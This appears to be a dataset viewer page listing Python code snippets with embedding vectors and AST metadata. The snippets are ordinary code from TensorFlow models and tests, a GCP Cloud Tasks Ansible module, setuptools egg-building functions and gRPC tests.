Search is not available for this dataset
id
int64
0
10.8M
vector
listlengths
1.54k
1.54k
ast_depth
int64
3
164
ast_data
stringlengths
297
510k
full_path
stringlengths
0
319
code
stringlengths
60
56.5k
801
[ 0.044575948268175125, -0.007051283959299326, -0.0469428114593029, -0.0696033462882042, -0.0030626787338405848, 0.0017395358299836516, 0.00868398230522871, 0.01885821297764778, 0.0348893366754055, 0.009182557463645935, 0.015099719166755676, 0.022726282477378845, 0.0009855086682364345, -0.00...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "param", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "schedule", "annotation": null, "type_comment": null}}, {"_type":...
def _create_annealed_tensor(param, schedule, global_step, eps=10e-10): value = tf.train.exponential_decay( learning_rate=schedule["init"], global_step=global_step, decay_steps=schedule["iters"], decay_rate=schedule["factor"], staircase=False if "staircase" not in schedule els...
802
[ 0.007978416979312897, -0.003615646157413721, 0.025893043726682663, -0.002050502225756645, -0.033985983580350876, -0.06208222359418869, 0.04177352786064148, 0.019414328038692474, -0.05540718510746956, 0.03577471897006035, 0.019348887726664543, 0.009859860874712467, -0.005409835372120142, -0...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "images", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "boxes", "annotation": null, "type_comment": null}}, {"_type": "...
def _draw_colored_bounding_boxes(images, boxes, steps): channels = [images, images, images] for s in range(3): # empty canvas with s-th bounding box step_box = tf.expand_dims(boxes[:, s, :, :], 3) for c in range(3): if s == c: # a...
803
[ -0.011479566805064678, -0.014502770267426968, -0.02028021030128002, -0.03152308240532875, -0.044584184885025024, -0.01689120940864086, 0.0226148534566164, 0.009494581259787083, 0.0011370634892955422, 0.03120032139122486, 0.011425773613154888, 0.02023717388510704, -0.024938739836215973, -0....
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "tensor", "annotation": null, "type_comment": null}}, {"_type": "a...
def _summarize_by_step(self, tensor, steps, name, one_more_step=False, all_steps=False): # padding (if required) the number of rows in the tensor # up to self.max_steps to avoid possible "out of range" errors # in case if there were less than self.max_steps steps globally tensor = tf.pad...
804
[ -0.0034562451764941216, 0.004352692514657974, -0.012456991709768772, -0.032064832746982574, -0.0125813540071249, -0.003010612213984132, 0.0066119469702243805, 0.011918086558580399, 0.004495191387832165, 0.02615760825574398, -0.006632674019783735, -0.009213198907673359, -0.010912821628153324,...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "tensor", "annotation": null, "type_comment": null}}, {"_type": "a...
def _summarize_by_digit_count(self, tensor, digits, name): # converting to float in case of int tensors float_tensor = tf.cast(tensor, tf.float32) for i in range(self.max_digits+1): # summarizing the scalar for only those # images that have exactly i digits s...
805
[ 0.014510397799313068, -0.0011959199327975512, 0.02410673163831234, -0.03595148026943207, -0.013803421519696712, -0.0018775435164570808, 0.025103451684117317, 0.006362786516547203, -0.03516337648034096, 0.047935307025909424, -0.001151733915321529, 0.0026786867529153824, -0.004499730188399553,...
15
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def _create_model(self): # condition of tf.while_loop def cond(step, stopping_sum, *_): return tf.logical_and( tf.less(step, self.max_steps), tf.reduce_any(tf.less(stopping_sum, self.stopping_threshold)) ) # body of tf.while_loop d...
806
[ 0.04266291484236717, 0.003038152353838086, 0.05127979442477226, -0.0032898681238293648, -0.05319986119866371, -0.03221963346004486, 0.009307634085416794, -0.0025566723197698593, -0.055166758596897125, 0.03989989683032036, 0.003933792468160391, -0.004770894069224596, 0.006298751104623079, -...
14
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "original", "annotation": null, "type_comment": null}}, {"_type": ...
def _visualize_reconstructions(self, original, reconstruction, st_back, steps, zoom): # enlarging the original images large_original = tf.image.resize_images( tf.reshape(original, [-1, self.canvas_size, self.canvas_size, 1]), [zoom * self.canvas_size, zoom * self.canvas_size] ...
807
[ 0.004493480082601309, 0.014588497579097748, 0.03993462026119232, -0.015858029946684837, 0.03481194004416466, 0.04120415449142456, 0.031136976554989815, -0.011358982883393764, -0.03679419681429863, 0.0262815672904253, 0.005570912733674049, -0.04628228768706322, -0.007032546680420637, 0.0247...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "other", "annotation": null, "type_comment": null}}], "kwarg": nul...
def __eq__(self, other): # early exit if data formats are not the same (otherwise we might crash) if self.metadata['metadata_version'] != other.metadata['metadata_version']: return False data_equal = all([ np.array_equal(self._data[k], other._data[k]) for k in...
808
[ 0.03489268198609352, 0.014863085001707077, 0.03464309126138687, -0.031872645020484924, -0.026731088757514954, -0.017833204939961433, 0.05246381834149361, 0.006551737431436777, -0.01117539219558239, 0.028777727857232094, -0.0027766888961195946, 0.0064269425347447395, -0.009565536864101887, ...
14
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "step", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "stopping_sum", "annotation": null, "type_comment": null}}, {"_typ...
def body(step, stopping_sum, prev_state, running_recon, running_loss, running_digits, scales_ta, shifts_ta, z_pres_probs_ta, z_pres_kls_ta, scale_kls_ta, shift_kls_ta, vae_kls_ta, st_backward_ta, windows_ta, latents_ta): with tf.variable_s...
809
[ 0.021987315267324448, 0.009635726921260357, 0.06261362135410309, -0.049890000373125076, 0.026042504236102104, -0.00581305893138051, 0.024945000186562538, 0.005668895319104195, -0.04430946335196495, 0.034338902682065964, -0.009217186830937862, -0.020127136260271072, 0.0034436562564224005, 0...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def validate_data(self): if len(self._data['features_train']) != len(self._data['labels_train']): raise ValueError('Number of features and labels must be the same.') features_mismatch = self.features_train.shape[1] != self.features_test.shape[1] labels_dims_train = self.labels_train...
810
[ 0.034320537000894547, 0.06930192559957504, 0.030179161578416824, -0.027051102370023727, 0.06004992127418518, -0.002918787533417344, -0.02916584722697735, -0.012600350193679333, -0.05938906595110893, -0.032205790281295776, -0.0008962880237959325, -0.018437925726175308, 0.020794983953237534, ...
13
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "name", "annotation": null, "type_comment": null}}], "kwarg": null...
def __getattr__(self, name): if name in self._data.keys(): return self._data[name] elif name in self.metadata.keys(): return self.metadata[name] elif name in self.metadata.get('performance_scores', {}).keys(): return self.metadata['performance_scores'][name] ...
811
[ 0.02460842952132225, -0.03852079436182976, 0.049740444868803024, -0.038047075271606445, 0.0007031759014353156, 0.03562861680984497, 0.017215928062796593, 0.02839817851781845, 0.013264118693768978, 0.04687320068478584, -0.016679877415299416, -0.0332350917160511, 0.013139455579221249, 0.0139...
10
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs...
class TestingCombinationsTest(test.TestCase): def test_combine(self): self.assertEqual([{ "a": 1, "b": 2 }, { "a": 1, "b": 3 }, { "a": 2, "b": 2 }, { "a": 2, "b": 3 }], combinations.combine(a=[1, 2], b=[2, 3])) def test_combine_si...
812
[ 0.009416121058166027, 0.027051521465182304, 0.022764038294553757, 0.014208297245204449, 0.019582070410251617, 0.0011680027237161994, 0.01304510049521923, -0.03162740170955658, 0.000026192192308371887, 0.06017857789993286, -0.02280249074101448, -0.023590771481394768, -0.005542004946619272, ...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": {"_type": "arg", "_fields": {"arg": "kwargs", "annotation": null, "type_comment": null}}, "v...
def __init__(self, **kwargs): defaults = dict( icon='calendar', validators=[optional()], widget_classes="form-control" ) defaults.update(kwargs) super(Date, self).__init__(**defaults)
813
[ 0.03879990056157112, -0.0437694787979126, 0.047383714467287064, -0.04996151849627495, -0.005604061298072338, 0.029445406049489975, 0.02354569360613823, 0.03861387446522713, 0.01860269345343113, 0.056552186608314514, -0.016476670280098915, -0.04020839184522629, 0.028541846200823784, 0.00709...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_times(self): c1 = combinations.combine(mode=["graph"], loss=["callable", "tensor"]) c2 = combinations.combine(mode=["eager"], loss=["callable"]) c3 = combinations.combine(distribution=["d1", "d2"]) c4 = combinations.times(c3, c1 + c2) self.assertEqual([ OrderedDict([("distribution",...
814
[ 0.020723968744277954, -0.049775052815675735, 0.04517754539847374, -0.04447384551167488, 0.013124006800353527, 0.012830798514187336, 0.02432456612586975, 0.02237766422331333, 0.03926646709442139, 0.042714595794677734, -0.04381705820560455, -0.048883698880672455, -0.01775669865310192, -0.005...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_add(self): self.assertEqual( [{ "a": 1 }, { "a": 2 }, { "b": 2 }, { "b": 3 }], combinations.combine(a=[1, 2]) + combinations.combine(b=[2, 3]))
815
[ 0.012323458679020405, -0.04687564820051193, 0.04076042026281357, -0.024251636117696762, -0.003923742566257715, -0.009655313566327095, 0.0034935842268168926, 0.020694110542535782, 0.0350404754281044, 0.012288580648601055, -0.015450826846063137, -0.0531071312725544, -0.0029166487511247396, -...
9
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "a", "annotation": null...
class CombineTheTestSuite(parameterized.TestCase): def test_add_things(self, a, b, c): self.assertLessEqual(3, a + b + c) self.assertLessEqual(a + b + c, 5) def test_add_things_one_more(self, a, b, c): self.assertLessEqual(3, a + b + c) self.assertLessEqual(a + b + c, 5) def not_a_test(self, a=...
816
[ 0.040919672697782516, -0.03583546355366707, 0.05882373824715614, -0.047753285616636276, -0.027976809069514275, 0.03616347908973694, 0.02818181738257408, 0.032145313918590546, 0.015826646238565445, 0.05056873336434364, -0.007749316748231649, -0.04493783786892891, 0.012416673824191093, 0.005...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def test_times_variable_arguments(self): c1 = combinations.combine(mode=["graph", "eager"]) c2 = combinations.combine(optimizer=["adam", "gd"]) c3 = combinations.combine(distribution=["d1", "d2"]) c4 = combinations.times(c3, c1, c2) self.assertEqual([ OrderedDict([("distribution", "d1"), ("m...
817
[ -0.013079715892672539, 0.021675866097211838, -0.030462807044386864, 0.00024560902966186404, 0.0347449854016304, -0.026435017585754395, 0.0011016798671334982, 0.019672570750117302, 0.0795806422829628, 0.040659476071596146, -0.008707445114850998, -0.05757619068026543, -0.005026787053793669, ...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "module", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "response", "annotation": null, "type_comment": null}}, {"_type"...
def return_if_object(module, response, allow_not_found=False): # If not found, return nothing. if allow_not_found and response.status_code == 404: return None # If no content, return nothing. if response.status_code == 204: return None try: module.raise_for_status(response)...
818
[ 0.001309875282458961, 0.020306173712015152, 0.0045103346928954124, -0.02565339207649231, 0.007805392611771822, -0.020659709349274635, -0.055902741849422455, 0.004140227567404509, 0.06672975420951843, -0.011241312138736248, -0.001173847122117877, -0.05121840164065361, -0.005999049171805382, ...
12
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "module", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": ...
def resource_to_request(module): request = { u'name': name_pattern(module.params.get('name'), module), u'appEngineRoutingOverride': QueueAppengineroutingoverride(module.params.get('app_engine_routing_override', {}), module).to_request(), u'rateLimits': QueueRatelimits(module.params.get('rate...
819
[ 0.009112044237554073, 0.028144776821136475, 0.03418002650141716, -0.018855225294828415, -0.03560008481144905, 0.04512631520628929, 0.0008394618635065854, -0.03337138146162033, 0.0009158886387012899, 0.017987411469221115, -0.026034411042928696, -0.027158625423908234, 0.018253672868013382, -...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "name", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "module", "annotation": null, "type_comment": null}}], "kwarg": nu...
def name_pattern(name, module): if name is None: return regex = r"projects/.*/locations/.*/queues/.*" if not re.match(regex, name): name = "projects/{project}/locations/{location}/queues/{name}".format(**module.params) return name
820
[ -0.020701522007584572, 0.030235696583986282, -0.02310713566839695, -0.021628454327583313, -0.016353759914636612, 0.042418256402015686, -0.0035780747421085835, -0.012789479456841946, 0.04881851375102997, 0.021606385707855225, -0.005029167514294386, -0.03067709505558014, -0.03314891830086708, ...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "module", "annotation":...
class QueueStatus(object): def __init__(self, module, current_status): self.module = module self.current_status = current_status self.desired_status = self.module.params.get('status') def run(self): # GcpRequest handles unicode text handling if GcpRequest({'status': self...
821
[ 0.02928411029279232, 0.03471238538622856, 0.042259588837623596, -0.022272588685154915, -0.028617480769753456, -0.021665479987859726, 0.018332328647375107, 0.05847298726439476, 0.07051994651556015, 0.003508736379444599, 0.02030841074883938, -0.014880137518048286, -0.04173580929636955, -0.03...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def run(self): # GcpRequest handles unicode text handling if GcpRequest({'status': self.current_status}) == GcpRequest({'status': self.desired_status}): return elif self.desired_status == 'PAUSED': self.stop() elif self.desired_status == 'RUNNING': sel...
822
[ 0.022275207564234734, -0.00959556084126234, -0.023006834089756012, -0.035568296909332275, -0.016298383474349976, -0.024897808209061623, -0.04189405217766762, -0.007440077140927315, -0.03354225307703018, -0.0006109783425927162, 0.005101686809211969, -0.1090460941195488, -0.039620380848646164,...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "request", "annotation"...
class QueueAppengineroutingoverride(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict( {u'service': self.request.ge...
823
[ -0.00528307119384408, -0.0016661349218338728, -0.025072958320379257, -0.03625866770744324, 0.006128697190433741, 0.026568852365016937, -0.027774497866630554, 0.00422534067183733, 0.002693166257813573, -0.005364005453884602, -0.014434254728257656, -0.07385694235563278, -0.007166891824454069, ...
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "request", "annotation"...
class QueueRetryconfig(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict( { u'maxAttempts': self.re...
824
[ 0.03558811545372009, 0.022002901881933212, -0.018016191199421883, -0.024037176743149757, 0.006611392833292484, 0.05457467958331108, -0.05031907185912132, 0.011013141833245754, -0.0002762053918559104, -0.02471526898443699, 0.013257859274744987, -0.06626591086387634, -0.04180785268545151, 0....
11
{"_type": "Module", "_fields": {"body": [{"_type": "ClassDef", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "request", "annotation"...
class QueueRatelimits(object): def __init__(self, request, module): self.module = module if request: self.request = request else: self.request = {} def to_request(self): return remove_nones_from_dict( { u'maxDispatchesPerSecond...
825
[ 0.015819275751709938, -0.010627545416355133, -0.0017481684917584062, -0.021532157436013222, -0.003352855332195759, -0.006659532431513071, -0.04667939618229866, 0.06422705203294754, 0.05066390335559845, 0.013127756305038929, 0.005214819684624672, -0.0539359450340271, -0.032087139785289764, ...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def to_request(self): return remove_nones_from_dict( { u'maxAttempts': self.request.get('max_attempts'), u'maxRetryDuration': self.request.get('max_retry_duration'), u'minBackoff': self.request.get('min_backoff'), u'maxBackoff': self.re...
826
[ 0.0076538878493011, -0.014025518670678139, -0.0005820557125844061, -0.031778838485479355, 0.0018655526218935847, -0.0012706908164545894, -0.039445944130420685, 0.06461520493030548, 0.05337892845273018, 0.023490428924560547, 0.011401517316699028, -0.06741766631603241, -0.02575090527534485, ...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def from_response(self): return remove_nones_from_dict( { u'maxAttempts': self.request.get(u'maxAttempts'), u'maxRetryDuration': self.request.get(u'maxRetryDuration'), u'minBackoff': self.request.get(u'minBackoff'), u'maxBackoff': self....
827
[ 0.01608218252658844, 0.04924143850803375, 0.02053184248507023, -0.009927003644406796, 0.014813975431025028, -0.055976055562496185, 0.0003085106145590544, -0.0005230672541074455, 0.04381875693798065, -0.005529275629669428, -0.00024820925318636, -0.006521429400891066, 0.02111128158867359, -0...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "resource", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "pyfile", "annotation": null, "type_comment": null}}], "kwarg"...
def write_stub(resource, pyfile): _stub_template = textwrap.dedent(""" def __bootstrap__(): global __bootstrap__, __loader__, __file__ import sys, pkg_resources, imp __file__ = pkg_resources.resource_filename(__name__, %r) __loader__ = None; del __bootstrap__,...
828
[ 0.08509712666273117, 0.010385914705693722, 0.04675089195370674, -0.026584288105368614, -0.06107077747583389, -0.013372079469263554, 0.040310367941856384, 0.02514544688165188, -0.037067268043756485, 0.02423189766705036, 0.06509039551019669, -0.00474760215729475, -0.021456992253661156, -0.02...
13
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def finalize_options(self): ei_cmd = self.ei_cmd = self.get_finalized_command("egg_info") self.egg_info = ei_cmd.egg_info if self.bdist_dir is None: bdist_base = self.get_finalized_command('bdist').bdist_base self.bdist_dir = os.path.join(bdist_base, 'egg') if s...
829
[ 0.01393867190927267, -0.0067258416675031185, 0.039997927844524384, -0.023894865065813065, -0.007932489737868309, -0.01702292636036873, -0.01957690715789795, 0.010334962047636509, -0.07328624278306961, -0.012845654971897602, 0.01407935656607151, -0.002513397950679064, -0.014523056335747242, ...
14
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def do_install_data(self): # Hack for packages that install data to install's --install-lib self.get_finalized_command('install').install_lib = self.bdist_dir site_packages = os.path.normcase(os.path.realpath(_get_purelib())) old, self.distribution.data_files = self.distribution.data_fi...
830
[ 0.045209091156721115, 0.0197366364300251, 0.06246171146631241, -0.06047450006008148, -0.04392191767692566, -0.008112570270895958, 0.0387054868042469, 0.006712488830089569, -0.07239777594804764, 0.018709156662225723, 0.042679909616708755, -0.014475038275122643, -0.014779895544052124, -0.053...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def run(self): # Generate metadata first self.run_command("egg_info") # We run install_lib before install_data, because some data hacks # pull their data path from the install_lib command. log.info("installing library code to %s", self.bdist_dir) instcmd = self.get_finali...
831
[ 0.038307782262563705, 0.0034001688472926617, 0.033178117126226425, -0.006212072912603617, -0.03494291007518768, -0.012341788969933987, 0.008594544604420662, 0.024589456617832184, 0.00710623525083065, -0.018765637651085854, 0.025389496237039566, -0.02456592582166195, 0.018871525302529335, -...
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def gen_header(self): epm = EntryPoint.parse_map(self.distribution.entry_points or '') ep = epm.get('setuptools.installation', {}).get('eggsecutable') if ep is None: return 'w' # not an eggsecutable, do it the usual way. if not ep.attrs or ep.extras: raise Distu...
832
[ 0.06892639398574829, 0.03026389889419079, 0.033739179372787476, -0.050846658647060394, -0.07095363736152649, -0.05601820722222328, 0.007483229972422123, 0.05775584653019905, -0.004545790608972311, 0.019672568887472153, 0.022113539278507233, 0.0011461443500593305, -0.011553238146007061, -0....
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def zap_pyfiles(self): log.info("Removing .py files from temporary directory") for base, dirs, files in walk_egg(self.bdist_dir): for name in files: if name.endswith('.py'): path = os.path.join(base, name) log.debug("Deleting %s", path)...
833
[ 0.09791900217533112, 0.030791517347097397, -0.0037220853846520185, -0.005748657509684563, -0.014838838018476963, 0.014727453701198101, 0.02076694741845131, -0.01966548152267933, 0.02516043186187744, -0.036608241498470306, 0.07341449707746506, 0.008291928097605705, -0.027103465050458908, 0....
10
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "egg_dir", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "safe", "annotation": null, "type_comment": null}}], "kwarg": n...
def write_safety_flag(egg_dir, safe): # Write or remove zip safety flag file(s) for flag, fn in safety_flags.items(): fn = os.path.join(egg_dir, fn) if os.path.exists(fn): if safe is None or bool(safe) != flag: os.unlink(fn) elif safe is not None and bool(safe...
834
[ 0.05267065390944481, 0.06499984115362167, -0.006755070295184851, -0.03653879091143608, -0.04102642461657524, 0.005296589341014624, 0.008922125212848186, -0.026335326954722404, 0.013876236975193024, 0.01287242490798235, 0.04978911951184273, -0.028154000639915466, 0.043459195643663406, -0.01...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "egg_dir", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "stubs", "annotation": null, "type_comment": null}}], "kwarg": ...
def analyze_egg(egg_dir, stubs): # check for existing flag in EGG-INFO for flag, fn in safety_flags.items(): if os.path.exists(os.path.join(egg_dir, 'EGG-INFO', fn)): return flag if not can_scan(): return False safe = True for base, dirs, files in walk_egg(egg_dir): ...
835
[ 0.053572311997413635, 0.07236794382333755, 0.04324425756931305, -0.04002419486641884, -0.01599298231303692, -0.015921425074338913, -0.0026073569897562265, -0.0020662073511630297, -0.03129424527287483, -0.008789580315351486, 0.006314902100712061, 0.03718576952815056, 0.006845616269856691, -...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "z", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "dirname", "annotation": null, "type_comment": null}}, {"_type": "arg...
def visit(z, dirname, names): for name in names: path = os.path.normpath(os.path.join(dirname, name)) if os.path.isfile(path): p = path[len(base_dir) + 1:] if not dry_run: z.write(path, p) log.debug("adding '%s'", p)
836
[ -0.019893916323781013, 0.0002740699565038085, 0.020322930067777634, -0.011454630643129349, 0.0048386468552052975, -0.013091006316244602, -0.005509744863957167, 0.03412486985325813, 0.05018218979239464, 0.008794753812253475, 0.013716138899326324, -0.0460391566157341, -0.0183249581605196, -0...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testSuccessfulUnaryRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() response, call = self._invoker.blocking(group...
837
[ 0.01021961122751236, 0.0008601706940680742, -0.000008044093192438595, -0.019149718806147575, 0.004459028132259846, -0.0002626834611874074, -0.004169794265180826, 0.021391283720731735, 0.05061599612236023, -0.0010356695856899023, 0.016884051263332367, -0.04266205430030823, -0.0161609649658203...
11
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []...
def testSuccessfulUnaryRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_stream_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() response_iterator = self._invoker.blocking(...
838
[ 0.005049323663115501, 0.0034297292586416006, 0.028495024889707565, -0.01122959703207016, 0.006373887415975332, -0.0029226455371826887, -0.004333260003477335, 0.017480555921792984, 0.04383660852909088, 0.007111463695764542, 0.013731209561228752, -0.038181859999895096, -0.014874452725052834, ...
11
